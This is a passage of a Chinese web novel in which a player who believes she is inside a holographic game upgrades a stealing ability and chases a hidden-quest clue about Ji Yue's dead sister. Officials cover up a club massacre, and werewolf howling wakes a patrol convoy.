大哥本来想好了许多骂人的话，结果憋回去了一句也没骂出来。
不是，这人真的有病吧？
颜队长见他俩没打起来，不禁松了口气，趁着这个空档，板起面孔对大哥道：“快点松开！不然我要记你违反规定了！”
大哥不甘不愿地把手撒开了。
朝晖看也没看他一眼，蹲下去继续看面板。
“……”
大哥好生气啊！
有时候，无视才是最深刻的伤害。
但是刚才那一下，却也让周围的异能者意识到，朝晖这家伙好像挺怂的。
在他们看来，一般人被揪衣领子，除了怂货，否则怎么都得生气吧？
不打回去，总也得骂两句吧！
“怂点也比莽货好。”一人评价道。
颜队长心里其实也是这么想的。
虽然异能者有超能力，听起来很厉害，但没经过专业训练的人，永远无法和训练有素的人相比，不论有没有异能。
姜局长没有说太多关于朝晖的事，但她也算有所耳闻，知道这是个调皮捣蛋的主，时不时就给她们姜局长惹麻烦。
朝晖只要能老老实实跟着他们去“观光”就好了。
寂静
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的夜晚，月光倾洒于大地之上。荒芜的封锁区内一条有人为修护痕迹的大马路上，十来辆汽车组成的车队急速驶过。
忽然间，一声大笑划过。
“哇咔咔咔！我发财啦！！”
“！？”
坐在朝晖那辆卡车前坐的异能者睡得正香，被这一声大吼吵醒。
“这装备好像很不错啊？”朝晖咋咋唬唬的。
她终于研究完了天赋面板，最终决定把天赋点在加强【偷盗之手】上面。
一个，是继续强化偷盗效果，现在她做新的道具，就可以偷取敌人85%的能力了。
另一个，则是点在了强化控制上面。
【神偷点穴（被动）：1/1】
【神偷点穴：
你在使用创作出的物品偷取异能时，10秒内敌人将无法使用异能。在此期间，你可以使用敌人105%的异能效果。
该被动每两小时只对一个目标生效一次。】
原本的8秒被延长到了10秒，并且还多了加强效果。
打局长的时候朝晖发现，8秒控制看似很长，但这款游戏毕竟是全息游戏，打架的方式也是那么的真实。
因此，8秒转瞬即逝，很容易错过这难得的机会。
这样一个效果也是在鼓励她尽量不要拖长战斗，最好是通过回档积攒经验后，在爆发期间配合【狂战士】直接把boss打进狂暴阶段。
缺点就是，由于必须要进行偷窃才能顺带触发这个效果，她在爆发期也就只能使用偷来的那个异能，很有可能因为熟练度不够而伤害不足。
但只要能打掉boss大部分的血量，后期她就再切换她用得熟的异能进行战斗就可以了。
决定好加点方案后，她才仔细研究起boss掉的装备。
一件是加属性的饰品，另一件却是有些奇怪的东西。但毫无疑问，两个都非常好！
【秦空山的怀表：
秦空山从不离身的怀表，虽然他不怎么管安全局的事，但吃喝嫖赌样样精通，是个时间管理大师。
魅力+3，知识+2，智力+3。
由于其主人的异化，它产生了特殊的效果。
【？】+1。】
又是这个问号效果，朝晖估计可能是游戏彩蛋。
重点是它加了足足3点智力！
属性点这东西，除了最开始触发过的一个限时任务送过，其他暂时还没有获取途径。
朝晖投诉过，但系统每次都是一句“已为您提交投诉”，然后呢就没有然后了。
但是她必须让自己的力量、智力、耐力、敏捷四项平均属性达到20点，才能继续提升其中某一个属性。佩戴饰品的时候加的属性也被算在内。
智力这玩意儿，虽然她用不上，不过有总比没有好嘛！
另外一个道具就有些奇怪了。
【秦空山的遗物：
怀表的背面有着一老照片，背后有一些模糊不清的字。
可能与隐藏任务有关。】
“隐藏任务的线索！！！”
朝晖开心得不得了。
照片没什么好看的，是双人合照，一男一女，虽不是特别清晰，却也能看出其中一个正是年轻的秦空山。
年轻的时候，局长也算是比较周正的一位帅哥。
合照的女性看起来比他小一些，二十出头的模样，长得眉清目秀的，略有些眼熟。
“我是不是在哪见过她？难道是我们公司美术组的哪个姐姐用了自己的形象来建模？”朝晖心道，“系统，没有点别的线索吗？”
根据局长的遗言，这位女性十有八九就是他的“白月光”，后来因为异化而跑到封锁区里面，消失不见。
如果系统没有提示，玩家想在茫茫封锁区当中寻找一个人，无异于大海捞针。
“请玩家自行探索游戏内容。”系统干巴巴道。
朝晖又把照片翻到背面，上面写的字，和她高中时上课打瞌睡写出来的笔记一样，那叫一个鬼画符。
就着月光，她眼睛都快看瞎了，也看不清楚。
两行字，最右下角有两个字，和前面的距离较远。
根据一般人写字的习惯，假如这是一段话，那么这个位置应该写着留言那人的名字才对。
“……这是喝了多少写出来的？”朝晖想，“有点像女字旁。”
女……姬？
心中有了猜测后，便越看越像，那两个字的第一个，很有可能就是“姬”字。
80.红星科技（1）
“能不能小点声？”有人突然开口说话。
朝晖自言自语可从来不注意音量，车里休息睡觉的那个异能者受不了了。
这人也是个路人甲脸，但或许她语气态度还可以，朝晖说：“好的。”
“嗯……？”
开口说话的异能者自己都没有想到，“关系户”竟然这么好说话。
她有些摸不着头脑，但又很困，最终歪过头再次睡了过去。
朝晖则继续研究着照片背后的字。
有的时候，玩家玩游戏，也不是一定要奖励多么的好。这种解谜类隐藏任务，要是能把它做出来，带来的成就感才是无与伦比的。
反正她只用睡两个小时恢复精力就行，路上无聊，索性便研究研究线索好了。
如果是姓姬，那么在这款游戏中，她第一个想到的人，便是男主姬越。
很显然，游戏不会给出无用的线索，这个女性十有八九就是和姬越、以及他背后的红皇后家族有关。
“局长看着不是很老，应该四五十岁吧，这个女性在照片里比他还年轻一些，放在今天，应该也有三四十岁。”朝晖想。
三十多岁甚至四十岁，和姬越的年龄差稍嫌尴尬。
说是同辈也行，说是长辈，似乎也说得过去。
红皇后，年纪应该跟白皇后差不多大吧？
朝晖记得红皇后的孩子很多，姬越是她最小的儿子，都已经二十岁了。
难不成，这个女性，就是姬越的某个姐姐？
“但是男主不是红皇后唯一有异能的孩子吗？”朝晖有些纳闷，“按照局长的说法，这位女性不仅有异能，还是比较厉害的人，甚至于异化之后都还能保持理智。”
系统：……你就不想想，人家很有可能没说真话吗！
红皇后到底有几个有异能的孩子，谁又能保证呢？
玩家自然是不会想到npc还会骗她，或者给出不正确的情报。
在她看来，游戏当中给出的每个线索自然都有其用处。
除非是人设或者剧情必要，否则的话，文案组的人闲得没事写出一些绕来绕去的假话做什么？
想不明白，算了，总之，这个姬姓女很有可能与红皇后有关。
姬越还欠她一个人情，不如就问问他好了。
想到这儿，朝晖干脆就拿出手机，上次宴会事件后她便存了姬越的号码，在她看来，也就是把这个人物加入了游戏通讯录里。
电话拨出之前，朝晖还使了个心眼，存了个档。
这游戏的对话系统十分自由，也没有什么选项。全靠玩家自己去摸索，然后看能不能触发npc的关键词。
她想的是，要是说错了话没能让姬越说出情报，那就读档再问几次。
“……喂，什么事？”姬越很快接起电话。
这大晚上的，他都已经准备上床睡觉了，没想到私人号码响起来后，竟然是一个他没料到的人打来的。
朝晖？
她来找他干什么？
姬越在事件结束后，难免觉得后怕。
忽然出现的污染物不仅强大，还十分克制他，安全局的团队来得却非常慢，要不是朝晖出手相助，可能他已经死了。
朝晖的异能竟然是复制，复制的效果还非常强，更难得的是，她刚复制过来这个异能，就能运用得非常熟练。
同为异能者，姬越当然知道，想要掌控一项异能，把它运用得熟练而强大，并非是件简单的事。
而有些异能被复制过去之后，可能还会由于某些原因无法使用，比如说姬越就曾获见过类似的异能者，对方并不能复制他的能力。
这也是为什么，复制类型的异能看似强大而全能，这些年也出现过一些类似的能力，实则，却并不是那么厉害，远不如老牌的元素系、变身系、自身强化系等异能好用。
难道她和那个男偶像交情匪浅，私下练习过许多次？
姬越特别看不起偶像，想到余烬，心中只觉得非常不屑。
“他们俩好像没那么熟。”殷永宁却得意地翘起嘴角，“朝晖就是很厉害呀～复制之后很快就能熟练运用了，我很确定。”
“……滚。”姬越道。
虽然说红白皇后之间有敌对之意，可商场上是对手，平日中又不是就喊打喊杀了。而且他们两个年纪又还小，并且基本可以确定都不是第一继承人。
只要是不涉及核心机密的部分，他和殷永宁都能聊上几句。
因此，关于朝晖的事迹，他除了自己派人调查，也是从殷永宁那边稍微了解到一些。
殷永宁也才十八岁，她觉得自己能招揽到朝晖这样的异能者做保镖，一上来就直接在宴会中杀死了危险的污染物，出尽风头，这简直就是——
太有面子啦！
可是她身份特殊，又不能随便把这事拿出去炫耀。所以最近姬越就很惨了，天天都要忍受殷永宁各种明里暗里的夸耀，只觉非常不爽。
“异能厉害，并且行事风格狂放……”
在了解到朝晖的行事之后，他才有些后悔，自己许下了一个承诺，就绝不会收回，也不知道朝晖这家伙会想要些什么。
还不如上次直接给她钱呢！
以她无事不登三宝殿的性格，打电话过来，肯定是有事情找他。
“诶，姬越，你好呀。”朝晖倒是很礼貌，“你还记得你上次说欠我一个承诺吗？”
果然是为了这件事！
“记得……”
姬越从床上爬起来，正襟危坐，拿出自己的电脑：“你想好了吗？”
“想好了，我想问你几个问题，相当于是情报，这样可以不？”
情报？
姬越没想到朝晖会问这个，拿电脑的手一顿，“你先说说看。你也知道，我不是什么都能告诉你的。”
“噢，就是我想问问你家里人的事，你能不能把你姐姐，以及三十岁到四十岁左右的女性亲戚，名字和照片整理一份给我？”
“……你想干嘛！？”姬越悚然一惊，“我不可能把她们的照片资料给你。”
他第一反应就是，朝晖想对他的家人做些什么！
不然为什么索要这些资料？
“噢，这个……我找到了一条线索，可能跟你家的人有关，你看下消息，我拍照给你。”
朝晖还是那么的实诚。
果然，如果不把线索提供给姬越，那么他很有可能不会答应。
朝晖很少对npc隐瞒什么，刚才也是想试试，能不能在不提供照片作为线索的情况下，从姬越那里要来情报。
姬越依言打开照片，一眼望去，照片上的两张面庞都十分眼熟，却一时间叫人想不起来。
“这是……”
一个熟悉又有些陌生的名字浮现于他的脑海。
姬姚？
朝晖开始解释：“左边这个男人叫秦什么，是安全局局长，右边这位女士，我看她长得好像跟你有点像，你再看背后的那行字，最后的其中一个字是不是很像是姬？”
“……秦空山？”
这下姬越能肯定了，照片中的女人应该就是姬姚。
姬姚，是他最大的姐姐，红皇后的长女。
然而姬越还是个很小的小孩的时候，姬姚就死了，所以他对她几乎没有什么印象。
红皇后告诉他，姬姚从小就十分叛逆，不服管教，很有自己的主意。从高等学校毕业后，她便执意去往安全局工作，没有像其他姬家人一般去家族企业历练。
却没过几年就遇到意外，死在了封锁区里。
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这件事是个隐秘，为此红皇后还和安全局方面闹了点矛盾。
秦空山，当年也还不是局长，和姬姚一起在普通人的队伍服役。
“你怎么会有这张照片？”姬越问。
“之前局长给我的。”朝晖说了大实话。
尸体的掉落物，怎么不算是给她了呢？
姬越眉头一皱。
严格意义上来说，朝晖也算是半个安全局员工，但她的直属上司应当是副局长姜瑶。
秦空山局长近些年已经很少出面管理事务了，怎么会把这张照片给朝晖？
姬越仔细斟酌，又忍不住阴谋论一番，但左想右想，实在没觉得把一个已死之人的信息告诉她会有什么问题。
原来她刚才问的问题是这个意思，想要知道照片中人的身份。
“你等等。”
姬越回身去翻旧相册，很快翻出一张照片。
这是他两岁的时候，和大姐姐姬姚的珍贵合照。
其实，姬姚长得有点像红皇后，而姬越却比较像他的父亲，他们是异父的姐弟，也不知朝晖是怎么看出来他们长得像的。
“是这个人吧？”他把照片发给朝晖。
“好像是！”
“嗯，她是我的姐姐，红皇后的长女，姬姚，已经去世了。”姬越把他知道的信息简单讲了一下。
也没多少能说的，毕竟他和这位姐姐实在也不是很熟悉。
没想到听完他的话，朝晖却突发恶疾，疯狂地大笑起来。
“哇卡卡卡卡！！！”
“您已触发隐藏任务：【姬姚】。”
【姬姚：
她已经死了，可听秦空山的语气，事情似乎并没有那么简单。
寻找关于姬姚的秘密。
任务奖励：经验x2000，金钱x5000，神秘奖励。】
“又搞神秘奖励？实话说吧，该不会是文案组剧情组还没决定好奖励的内容？”朝晖对系统道。
“……我们这款游戏的自由度极高，因此具体的奖励内容，可能会因您完成任务的方式不同而有所变化，这也是我们给玩家惊喜的方式。”系统答道。
“好吧，记得别到时候给我一堆垃圾就行，我肯定是会投诉的。”
姬越就听见朝晖先是像精神病一样大笑起来，随后又开始自言自语，话中全是阿巴阿巴之类让人听不懂的话。
他见过不少异能者，其中也不乏性格怪异之辈，却没有一个像朝晖这样，怪异得那么浑然天成……
“这是秘密，不要乱说出去。”姬越说。
据说殷永宁所说，朝晖这家伙看起来不靠谱，其实心里有数，不会乱说话。
“我知道了，谢谢。”朝晖道。
“那……我欠你的，就这样？”
“嗯嗯，拜拜～～”
朝晖立刻毫不留恋地挂掉了电话。
姬越：“……”
转眼间又是一个电话打进来，这周末晚上，也不知突然怎么就这么忙。
还是私人电话，他顺手接起：“什么事？”
“姬越，出大事了！！”
来电者是他一个朋友，和安全局、警方等都有些关系，消息灵通。
他的声音兴奋中夹杂着恐惧，“刚收到的信息，洛川红灯区一家私人会所出现了特大恶性案件，死者多达22人，全是各大公司高层，其中甚至包括一个你绝对想象不到的人物。”
“……什么人？”
“安全局局长秦空山。”
朋友的声音在颤抖，“我同事说，他的尸体异化了，并且被打成了碎片……事情牵涉到的人太多，安全局也被牵扯了进来，他们姜副局长过来的时候，脸色可臭呢。”
“你说谁死了？”姬越差点没怀疑起自己的耳朵。
81.红星科技（2）
这下，姬越是无论如何也睡不着了。
其实他不在乎安全局局长是生是死，他们姬姓和安全局的关系，似乎一直都不尴不尬的。
尤其是上一次宴会事件过后，虽然最终双方达成和解，但姬越知道，安全局中很可能还有人隐藏着对于姬姓的恶意。
他在乎的是……怎么这么巧？
怎么朝晖上一刻给他打电话，询问有关秦空山的事，下一刻秦空山就死了？
好奇心和某种奇特的不妙预感交织，将他的睡意一扫而空，他必须去了解事情的真相。
姬越跳下床，换好衣服，又细心打理好头发和脸蛋，力求不出一丝差错。
红皇后培养孩子并不会过于奢靡，所以这些日常小事他是能够自己完成的。
然后打电话，喊人，最后乘坐低调奢华的大SUV去往朋友的宅邸。
*
另一头，姜瑶以公事名义将朝晖安顿好，回程的路上，才仔细思考起该如何解决这件事。
秦空山死了……
现在她还有没有收到消息，难道说，私人会所的人还没发现局长的死讯？
还是发现了却没有报警？
就算不报警，秦空山带的保镖也应该通知安全局的人才是。
姜瑶对于这个光占位不干事的局长，心中颇有几分复杂。
局长年轻的时候立过功，还保护过一些贵人的安全，更是和现任市长关系匪浅。只要他没惹到红白皇后那种级别的财阀，就能安安稳稳在这个位置上混到退休。
姜瑶本人被提拔为副局长，也还跟局长有那么一点关系——
由于秦空山自己忽然就看破红尘，不愿理事，他便力排众议，选择了一名非常能干的人来做副局长，可以说是不看背景，只看能力。
姜瑶当时背后没什么关系，所以他也是付出了不少代价，才最终把姜瑶扶到这个位置。
而姜瑶也没有辜负他的期望，一个人当两个用，遇到事情连个背锅侠都没有，总之还是十分艰难地撑了过来，就这样慢慢积累了自己的名望和经验，也是越干越稳了。
所以，秦空山算是她的半个恩师。
但从另一方面来讲，秦空山也和朝晖一样，没少给她惹麻烦！
安全局的背后也有不少人盯着呢，结果这位局长不干事也就罢了，还天天各种吃喝嫖赌。说是看破了红尘，又跑去会所搂着年轻小姑娘。
如果只是这些倒也罢，姜瑶还知道，秦空山背后还做着一些其他违法勾当。
比如，上次朝晖问她的关于封锁区一个秘密基地的问题，她其实有百分之八十的把握，和局长有关系。
任何一位政治人物有了这么多的把柄，要不是背景过硬，早都被撸下去了。
既然动不了局长，那就给副局长找找麻烦呗！
于是姜瑶就经常给局长擦屁股背黑锅，别提有多苦了。
相比之下，朝晖的事儿都是加加班就能解决的，就跟小孩子闹事一样，没那么头痛。
不过，要是她提前知道朝晖对秦空山有杀意，她还是会去阻止的。毕竟他对姜瑶有恩，如果不去阻止，她过不了心里那一关。
但既然他已经死了……
局长，R.I.P。
姜瑶又研究了一番赵总的手机，显然朝晖把这个手机交给她，就是指望能使用这里面的证据来让她给她擦屁股。
呵！
这小兔崽子！
也不知道朝晖在现场留下的痕迹多不多，目击者有没有。
姜瑶知道局长的异能很强大，却没有亲眼见过，而朝晖竟然能悄悄杀掉他……
开着车在夜色中的高速路上往城内行驶，她终于接到了手下的电话。
“姜局…！您在哪儿呢？”手下的声音焦急万分。
姜瑶悠悠道：“我不是说了，今晚过来跟异能者队伍的人走一趟吗？大晚上的什么事？”
“出大事了！！”
手下的声音发颤，“刚刚接到报警，洛川市红灯区一家私人会所发生了特大恶性案件。”
特大恶性案件？
不至于吧，难道朝晖杀害局长的手法特别残忍？
“———死亡者高达22人，伤者31人，这还没有计算我们安全局的人。”手下接着说，“安全局的八个行动小队成员，也死在了那里，所以总死亡人数是30人。”
“！！？”
姜瑶在高速路上猛然踩下急刹车。
好在大半夜的也没什么人，她背后冷汗冒起，连忙又把车开到路边。
“其中一名死者的尸体面目全非，有异化痕迹，基本认不出人形了，不过从他的衣服碎片和八个保镖的身份来看，他是局长。现在还在等生物检测结果。”
“……”
朝晖！！！！
合着局长不是你暗杀的人，只是你制作恐怖事件的一道小菜吗？？
朝晖在给她交待的时候，省略了许多“她认为没必要”的细节。
简而言之，她是这么说的：
“我想把寰天那老总干掉，结果去的时候，发现局长竟然也在跟他们一起票昌！身为局长居然带头犯罪，太可恶了！而且他忽然变成了污染物，非常吓人，于是我就不得不把他和赵总他们一起干掉了。”
30个死者！！？？
这叫“赵总他们”？？
朝晖你是要去当恐怖分子吗！！！
姜瑶这一刻恨不得把朝晖拎起来大卸八块。
她甚至心中产生了动摇。
因为之前朝晖杀人闯祸的动机，她基本都能理解。虽然说确实是过于“快意恩仇”了些，但只是这样的小毛病，大部分异能者都有。
她能看出朝晖的底色还是善良的。
可现在，朝晖在她眼中逐渐变成了恐怖分子的形象。
如果一个人为了寻仇，不惜行千里只为杀一人，那么在传统观念中，她可称之为侠者。
但如果杀了30个，那这个人的心理状态绝对是会出问题的。
杀人可不是简单的事！
绝大部分正常人，杀人之后都会被愧疚和恐惧所包围，哪怕杀的是罪大恶极之人，那也是活生生的人啊！
这也是刽子手这份职业为何古往今来都不好做。
朝晖……你怎么会这么做？
为什么？
姜瑶想了很多很多，只觉自己的大脑仿佛浆糊一般，不知不觉把车开回了红灯区附近。
安全局和警察局的人都来了，已经把场地封锁住。姜瑶看了眼位置，距离白马会所不过两栋楼，不禁心中苦笑。
她只觉得自己真的又要背黑锅了。
进入到现场一看，听手下把事情的详情一说，姜瑶忽然又觉得，这黑锅似乎也不是一定要背。
死者，全部都是参与这场盛大yin趴的客人。那些女郎，基本一个都没死，甚至被整齐又谨慎地码放在宴会厅的边缘位置。
死了的两名女郎，都是在局长的尸体附近，身上伤口无数，有穿刺伤、爆炸伤，应该是被战斗波及了，没来得及逃离。
怪物的尸体飞溅得到处都是，法医团队的人个个全副武装，苦不堪言地用镊子一处处收集。
所有的死者基本都死状凄惨，有脖子被咬断的，整个身躯被扭成麻花的，或者被炸得面目全非的，一看就不是人类能干出来的事。
还有几名死者，身体都和怪物黏连在一起。
大厅内的情况惨不忍睹，各种凹陷坍塌，爆炸痕迹，显然是局长异能的效果。
“……这些死者身上都有污染的气息。”
警察局的人暂时还不知道这“污染物”就是安全局局长，这事目前只有安全局的人，以及几位高级的警员知晓。据说警察局局长也被叫醒，正在穿裤子
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起床。
姜瑶全明白了。
朝晖应该确实是为了杀赵总，取证据而来，但她看见了这样的场景，一怒之下，索性把票客全部干掉。中途可能被局长阻止，所以干脆把局长也杀了。
这很符合朝晖的性格……
而且现场的痕迹，也大有文章可做。
大量警察团队、法医队伍的人聚集在此，姜瑶从他们脸上的神情就能辨别出，他们都觉得这不是恐怖屠杀，反而像是战场！
怪物的尸体，融合到一半的保镖身躯，死亡的票客，被细心放在离战场最远处的女郎……
他们难免脑补出了这样一副场景：
在周末的夜晚，有权有势之人享受着属于他们的情色狂欢。
这时，一个孤冷的杀手闯了进来。ta或许是混在了服务人员中，或许是悄然潜入。ta的目的可能是营救某人，或者寻仇。
不知发生了什么事，一位票客居然变成了怪物，一眨眼间就杀了几个人，情况危在旦夕。
杀手只能匆忙将女郎们营救到边缘，然后与怪物奋力战斗起来……
最终，怪物死了，但杀手究竟是谁，是否就是在场死者当中的一个，还是成功地逃离，仍需调查，他们暂且都不清楚。
朝晖，这家伙，真是……
显然，这是让她把锅都甩到局长头上啊……
大致看过现场后，由于幸存者、大部分死者都已经被迁移走，剩下的也不过是各种取证工作，所以姜瑶索性跟着去了警察局，准备跟警察局局长聊一聊这事儿。
“市长正在赶来。”手下再次汇报。
“幸存者的情况怎么样了？有没有目击证人？”姜瑶问。
她需要知道这些目击证人的情报，才能判断到底要如何把这口锅甩出去。
死的人，有权有势者太多，这口锅也太重太黑，只能让局长去背，她姜瑶背不起来。
按理说安全局和警察局是两个单位，互不干扰，不过由于平时两者业务也难免有不少重叠之处，就比如说今天这样的案件，都是需要联合进行侦办的。
所以警察局那边也是很快就安排好各种接洽工作，把姜副局长以及安全局团队的人迎接到大会客室内，在双方签署了一些划分权责的文件之后，就不再把她当外人。
“幸存者其实大部分都醒着，但是考虑到她们的身体和心理状况，问询结果暂时还没出来。”忙得脚不沾地的警察将军小姑娘说。
“各财阀都派人来过问了。”
“记者聚集在外面，已经被拦住。”
消息一条接一条地传来，终于是等到了姜瑶想要的消息。
“问询结果出来了！”
“她们大部分都说什么都没注意到，但也有几个说，看见了一名女郎和一名客人坐到了局长旁边，开始聊天，随后不知怎么的忽然就出事了。”
“那位女郎，是一个名叫朝晖的艺人，隶属寰天文化，她们不知道是不是寰天的人叫来的。”
“出事后有人看见了很多武器，像神话故事一样在空中飘舞，那两名女性死者的死因就是这个。”
“至于男性死者，有被战斗波及的，也有被一种黑漆漆的怪物咬死的，总之，都是怪物杀的，她们没有人看见朝晖杀人。”
“……”
姜瑶抬起头，看见了推门而入的警察局长。
警察局长身上烟味弥漫，他给姜瑶递过来一根烟，沧桑道：“你知道我要说什么吧？”
“姜瑶，你们安全局的这个朝晖，狠起来真是连自己人也不放过啊……”
上次杨帆死亡的那个案件，警察局长还记得呢。
“朝晖也是受害者，我想我们应该达成这样的共识。”姜瑶淡定道。
“我还以为你会对你的恩师多几分仁慈呢。这样就好，这锅，咱们活人谁也背不起，还是让死人去背吧。”警察局长道。
82.红星科技（3）
朝晖同志，有没有因为大开杀戒而道心不稳呢？
这个……
虽然死者的死状凄惨，但首先，那些血液都是绿色的，不但不会让人有不适感，甚至会觉得有点搞笑；其次，朝晖从小就没少玩过国外各种3A大作，或是观看恐怖电影，此类场景也是见怪不怪。
衣衫不整的npc，还都被打上了马赛克。
所谓限制级场面，对她来说不算吓人。
当然，她又不是变态，还是会觉得有点恶心，但解决方法也很简单，不要仔细去看就行了嘛！
至于干掉了一些npc……
呃，以前她也不是没有在wow里屠过敌对势力的城……
这有啥？
朝晖不过是牢记本游戏的规则，也就是“无缘无故犯法可能会被警察抓住”、“不开挂很难以一敌多”等等，因此才遮遮掩掩。
否则她直接从大门口杀进去了，一点儿心理负担也不会有。
boss最大的用处，就是给她丰厚的奖励。要是奖励不够好，她不仅会杀人，杀完了还要骂一顿呢。
反正姜瑶都说了，会帮她擦屁股。那她就也完全放下心来，不再担心会被警察抓走。
完美！
把线索整理好，一时半会儿没有什么头绪，朝晖便打算先睡上两个小时，恢复精力值。
“呜呜——”
李长庚忽然发出低低的呜咽声。
朝晖把巨大的狼头掰过来，掀开眼皮，就见他的眼睛还是红红的，目光呆滞，一直追逐着月光的方向。
变成了兽形态后，李长庚显然没有人形时候那么理智，整个狼看起来傻呆呆的，时而暴躁地撅爪子，时而又把尾巴甩得像电风扇，绝大部分精力都用在了压抑自己的本能上面。
这样失去理智的状态，似乎和异化的异能者有些相似。
“你想追逐月亮的方向吗？可是月亮不是绕着咱们地球转嘛，那你不就是一直在跑圈？”朝晖漫无目的地发散着思维。
“……”
“话说你有没有试过真的追着月亮跑？会跑到哪里去？”朝晖打开手机，翻找出地图。
她地理知识早还给老师了，只能分得清东西南北，至于月亮的轨迹这种知识，是完全不了解。
李长庚迟疑片刻，用脑袋点了点封锁区深处的方向。
“那，就跑进去看看呗？”
朝晖的脑回路一向直来直往，“说不定跑着跑着，就从另一头跑出去了，跑到另外一座城市。”
另外一座城市？
李长庚不知道世界上除了洛川，是否真的还存在另外一座城市。
封锁区那么那么的大，其他的城市，乃至于其他的国家，比如伊尔莎母亲的故乡北联邦……对他来说，都像是另一个世界。
“沿着这个方向往南，穿过封锁区，就是临海市。”朝晖看着地图，“系统，你们游戏地图做得还挺大，就是这封锁区全是一样的贴图，有点敷衍。不过，洛川做得那么精细已经很厉害了。”
“我都不敢相信，这么精细的设定竟然只是做了一款乙女游戏。你们做成开放世界探索多好呀？还是说技术又突破了，做成乙女游戏也不怕亏本？”
“……”
不论是系统还是李长庚，以及再次被朝晖吵醒的同车异能者，全都非常地无语。
朝晖还说：“话说，你要是实在忍不住就嚎一嚎呗，咱们现在已经开出去有点距离了，这封锁区内荒无人烟，也不怕扰民。”
李长庚：……
异能者：……
她们异能者团队这么多人，不是人吗！
打扰了他们的睡眠，难道就不算扰民吗！？
李长庚的脸皮终究是没法像他的老板一样厚如城墙，他努力地憋住了，没有嚎。
结果，他没嚎，朝晖，她嚎了起来。
“嗷呜～～～！”
“嗷嗷嗷嗷嗷呜——！”
“我听说大喊大叫有助于舒缓内心的压力。好像真的有效果！”
朝晖特别兴奋地拍打着李长庚的背，“你说，咱们能不能嚎来一些你的同类？像你这样的狼人异能者应该不止一个吧？那你不就有伴儿了吗！”
“……那个……”
异能者弱弱地探出脑袋，“我们……明早还有巡逻任务……”
你不睡觉就算了，怎么还在这儿打扰别人啊！
“啊……”
朝晖还没来得及说话，李长庚就实在憋不住了。
就像膀胱爆炸的人不能听水声，戒烟的人不能闻烟味一样，李长庚本来勉强能憋住的，被朝晖这么一带，实在是忍不下去了。
“嗷～～呜～～”
正宗的狼嚎，比朝晖的盗版更加中气十足。
低沉而凄厉的吼声，在清冷的月色下幽幽飘去，久久不散。
这一嚎，便停不下来。
朝晖还觉得挺好玩的，恰好她还剩下了点精力值，索性掏出卫生纸拍在他身上。
唰地一下，她也变成了大狼！
只不过，小李那狼皮毛乱糟糟的，整体呈灰黑色，看起来颇为落魄。她这狼却是一身油光滑亮的深灰色毛，一双霸气威武的大眼睛，特别地精神。
瞧，看见她之后，小李那双无精打采又泛着红光的眼睛，都惊讶地瞪得老大，一看就是被她威武的身躯给折服了。
“嗷呜呜！！”
哎呀，忘记变身的副作用是说不出人话。
朝晖心想，她真是傻，这么好玩的异能，她怎么现在才发现？
都怪她光想着实用主义，觉得这异能不如光头女boss的好用，对她用处不大。
哪里不好用了？这异能用处可太大了！
好玩，就是它最大的用处！
朝晖立刻加入小李跟着他一起嚎。
于是，大半夜的，就听见一声正版低沉幽远，一声盗版高昂嘹亮，一高一低的二重奏，主打一个无差别骚扰。
车队里睡觉的异能者们几乎全醒了，耷拉着眉毛死气沉沉地坐在各自的车内，就听见左边一声叫，右边一声叫，不停地往他们耳朵里钻。
这一时刻，他们不约而同地产生了一种想杀人的冲动。
可车队没有命令绝不可能停下来，难道他们现在要跳车下去，再跑到朝晖那辆车上，叫她闭嘴？
能不能来个人管管了！
嚎着嚎着，朝晖也发现了一件事，就是她仿佛上瘾了一般，不仅嚎得停不下来，还有种莫名的冲动，非常想要去追着天上那圆圆的月亮跑。
“原来我复制之后也可以体会到这样的感觉？”她有些惊讶。
既然如此，她索性便试探一番这狼人异能的特殊之处。
玩家想做就做，存档后，她跳下车便沿着月亮的方向跑去。
“！？”
李长庚一愣，霎时便像是追随着头狼的狼群那样，不假思索地跳下去跟着她。<
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p>然后就看见朝晖一个趔趄，先是同手同脚，随后左腿绊右腿，最后特别富有艺术气息地摔倒了在了地上，四脚朝天。
“……”
“咋地，她终于良心发现，不继续嚎了？”
被骚扰许久的异能者探出颗脑袋，就见到那四脚朝天的巨狼栽倒在地，身影越来越远，越来越远……
她连忙报告上去。
“快停车！停车！全体听令，慢慢开始减速，注意保持车距。12号车你掉头过去看看是怎么回事！”颜队长连忙下达指令。
这时候，朝晖也终于用完了她剩余不多的精力值，变回人类形态，还没穿衣服。
完蛋了，她忘记脱衣服再变身，又报废了一套！
哼，等她再存点钱，她就去批发几百件便宜衣服，再也不用担心报废。
唉，她忘记了这是她第一次变身为狼形态，压根不会走路，那大爪子看起来厚实又有力，走起来怎么就歪歪扭扭的呢？
等她回复了精力值，就抓紧练习一下，用狼形态跑起来，肯定又帅又爽！
不得不说，游戏的玩法还是很丰富的，这么有意思的变身实在太好玩了。
李长庚不知何时也已经习惯了，总之他默默地用自己厚厚的毛帮朝晖勉强遮掩一下。
但或许是刚才嚎了许久，他的精力被消耗不少，困倦涌了上来，一眨眼间，他变回了人形，半昏睡过去，月光对他的影响也大大减弱。
逐渐远去的车队当中一辆车掉头驶来，打头跳下来一位虎背熊腰的大哥。见朝晖、李长庚俩人如此情状，只好默默脱下自己的外套，然后一手一个将他们提回车上。
“报告，人已经接上来了。”
颜队长有点生气，“让朝晖接电话！”
“歪，什么事？”朝晖问。
颜队长深呼吸一口，“小朝，咱不是说好了要听话，不乱跑，紧跟大部队吗？”
“哦……我就是去看看，会回来的。”
“……你知不知道封锁区很危险的！万一你掉队了，我们都没地方去找你！”
“那我就读档呗……我的任务没失败吧？”
想到这儿，朝晖连忙打开任务面板。还好姜瑶给她的那个任务安安分分杵在原地，没有受到任何影响，这才大大松了口气。
“……”颜队长没听懂她的话，不知该说些什么。
姜副局长！
您到底为何要把这么个祖宗交给我？
颜队长欲哭无泪，可既然接下这份任务，那也断没有放弃的道理。
难道，这就是姜副局长对她管理和抗压能力的考验吗？
她不禁想起局里的一些流言，说这个朝晖很得姜瑶的喜爱，为此，姜副局长已经给她擦了好几次屁股。
想想她们的年纪，难不成……
难不成姜副局长，还有个私生女！？
唉，算了，再忍一忍，等过两天这祖宗走掉就好了……
于是颜队长在身旁队友敬佩的眼神中，挂上和颜悦色的笑容，细声细气道：“朝晖啊，我们先好好地坐车到了地方，我再带你下去转转，你不是想看污染物吗？外围这边很少会有漏网之鱼的，但是到了里面，很有可能有机会见到不少哦！”
“……”
无人应答。
“报告队长，她睡着了。”魁梧大哥仔细观察一番朝晖的表情后，十分肯定地回答。
“……”
颜队长不想干啦！
83.红星科技（4）
一觉睡醒天色已然大亮，朝晖神清气爽，发觉车队停在一片营地附近。
